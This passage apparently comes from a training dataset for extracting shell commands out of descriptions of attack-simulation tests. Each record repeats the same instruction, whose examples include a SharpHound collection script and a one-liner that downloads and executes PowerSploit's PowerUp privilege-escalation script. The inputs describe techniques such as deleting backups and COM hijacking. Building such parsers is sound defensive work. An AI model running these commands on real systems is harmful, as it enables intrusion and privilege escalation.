$_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Add and delete a rule on the Packet Filter (PF) if installed and enabled. \n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n This test uses PowerShell to hijack a reference to a Component Object Model by creating registry values under InprocServer32 key in the HKCU hive then calling the Class ID to be executed via rundll32.exe.\n\nReference: https://bohops.com/2018/06/28/abusing-com-registry-structure-clsid-localserver32-inprocserver32/", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Disables syslog collection\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Allow startup key with TPM for Bitlocker tool\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Deletes the Windows systemstatebackup using wbadmin.exe. This technique is used by numerous ransomware families. This may only be successful on server platforms that have Windows Backup enabled.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Use Perl to decode a base64-encoded text string and echo it to the console \n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Opens a /dev/bpf file (O_RDONLY) and captures packets for a few seconds.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Gets the macOS hardware information, which can be used to determine whether the target macOS host is running on a physical or virtual machine. sysctl can be used to gather interesting macOS host data, including hardware information, memory size, logical cpu information, etc.", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Use the ip tcp_metrics command to display the recent cached entries for IPv4 and IPv6 source and destination addresses. \n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach 